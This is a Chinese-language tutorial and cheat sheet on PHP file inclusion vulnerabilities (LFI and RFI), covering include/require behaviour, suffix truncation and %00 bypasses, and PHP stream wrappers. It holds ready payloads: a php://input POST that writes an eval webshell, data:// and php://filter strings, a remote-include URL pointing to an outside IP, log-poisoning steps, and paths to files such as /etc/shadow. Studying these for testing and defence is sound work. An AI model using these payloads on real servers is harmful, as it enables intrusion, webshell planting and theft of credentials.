文件包含
Table of Contents
文件包含漏洞概述
原理
在开发中,程序人员一般会把重复使用的函数写到单个的文件中,需要使用的时候就会直接调用此文件,无需再进行重复的编写,这个调用文件的过程一般就称之为文件包含。
产生原因
文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,包含其他恶意文件,导致了执行非预期代码。
文件包含相关函数
PHP: include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行。
require():只要 程序一运行 就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本。
include_once() 和 require_once():这两个函数和前两个函数作用几乎相同, 区别在于 若文件中代码已被包含则不会再次包含。
漏洞分类
本地文件包含:可以包含本地文件,在 条件允许时 甚至能 执行代码;
上传图片马,然后包含;
读敏感文件,读PHP文件;
包含日志文件GetShell;
包含 /proc/self/envion 文件GetShell;
包含data:或php://input等伪协议;
若有phpinfo则可以包含临时文件;
远程文件包含:可以直接执行任意代码;
要保证php.ini中allow_url_fopen和allow_url_include要为On;
动态包含的方式引入文件时,由于传入的文件名没有经过合理的校 验,从而操作了预想之外的文件,就可以导致意外的文件泄露甚至恶意的
代码注入
本地包涵
include()和require()
当包含一个不存在的文件时,include会报错,但是下面的语句正常执行,而require就会报错并停止脚步继续执行。
include_once() 和require_once()
当之前包含过一个文件时,就不会再包含了。
fopen()、readfile()
fopen返回文件指针,readfile返回字符个数
file_get_contents() 任意文件读取,同fopen
远程包涵
远程文件包含漏洞(RFI),它其实也属于 ”代码注入” 的一种,其原理就是注入一段用户能控 制的脚本或代码,并让其在服务端执行。
远程包涵的限制条件
首先是php.ini
(1)allow_url_fopen ON (默认ON)
(2)allow_url_include ON (默认OFF)
(3)被包含的变量前没有目录的限制
(4)远程包含文件路径必须为绝对路径
(5)被包含的文件不能够被服务器解析,如php文件
文件包含的绕过
绕过方式有二:
1. 后面加./或者..
如 ?file=/upload/1.php....................(n多.)
或者?file=/upload/1.php./././././././././././(n多./)
核心思想就是超长度把后缀挤掉
2. %00截断
对php版本有限制:需满足 php 版本<5.3.4 才有可能存在此漏洞
shell.php 1.jpg
3. phar伪协议绕过
phar://upload/shell.png(其实是zip文件改后缀)/shell(自动补后缀)
4. 直接反引号执行命令<?=`ls`?>
BashCOPY
伪协议
file://
1. file:// —用于访问本地文件系统
2. php版本:5.0以上
3. 是PHP 使用的默认封装协议
4. 当指定了一个相对路径(不以/、\、\\或Windows 盘符开头的路径)提供的路径将基于当前的工作目录(支持相对路径)
BashCOPY
http://
远程包含有前提
1. allow_url_fopen ON (默认ON)
2. allow_url_include ON (默认OFF)
3. 被包含的变量前没有目录的限制
注意事项
1. 远程包含文件路径必须为绝对路径
2. 被包含的文件不能够被服务器解析,如php文件
?file=http://139.196.229.79:9999/index.php
BashCOPY
data://
data:// —数据
需要allow_url_include
需要读取权限
使用版本:PHP 5.2.0 起data: 数据流封装器开始有效。 data://text/plain,<?php phpinfo();?>
data://text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
BashCOPY
php://filter
常用于读取过滤规则或者flag
1. php://filter 伪协议用于数据流打开时的筛选过滤应用
2. 在数据流内容读取之前没有机会应用其他过滤器
3. php 版本:5.0
?file=php://filter/read=convert.base64-encode/resource=phpinfo.txt
BashCOPY
php://input
可以写入post参数
1. 利用条件 allow_url_fopen 不做要求
2. allow_url_include = On
使用版本:5.6.0 php://input 可反复使用。
使用post方式发包?file=php://input
POST 以下数据: <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
BashCOPY
ftp://
需要ftp服务器
1. ftp:// -- ftps:// —访问 FTP(s) URLs
2. 允许通过 FTP 读取存在的文件,以及创建新文件。
3. 如果服务器不支持被动(passive)模式的 FTP,连接会失败。
4. 打开文件后你既可以读也可以写,但是不能同时进行。
5. 版本:php4.3以上
6. PHP 5.0.0 起文件可以通过 ftp:// URL 封装器来追加(append)。在之前的版本,尝试通过 ftp:// 来追加一个文件将会导致错误。
使用:
1. ftp://example.com/pub/file.txt
2. ftp://user:password@example.com/pub/file.txt
3. ftps://example.com/pub/file.txt
4. ftps://user:password@example.com/pub/file.txt
BashCOPY
phar://
phar://phpinfo.zip/phpinfo.txt
注意事项:
1. 压缩包中文件的名字要和后面的一样
2. 压缩包在压缩后还可以改后缀名
其他归档压缩类扩展 Bzip2、zip、LZF等
zlib:// -- bzip2:// -- zip:// —压缩流
compress.zlib://file.gz
compress.bzip2://file.bz2
zip://archive.zip#dir/file.txt
BashCOPY
日志包含
一句话木马写入日志中, 可以写在访问路径上, 也可以是ua, cookie等
包含日志即可
日志默认路径
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log
(2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
BashCOPY
敏感信息文件
Linux
(1) /etc/passwd // 账户信息
(2) /etc/shadow // 账户密码文件
(3) /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
(4) /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
(5) /usr/local/app/php5/lib/php.ini // PHP相关配置
(6) /etc/httpd/conf/httpd.conf // Apache配置文件
(7) /etc/my.conf // mysql 配置文件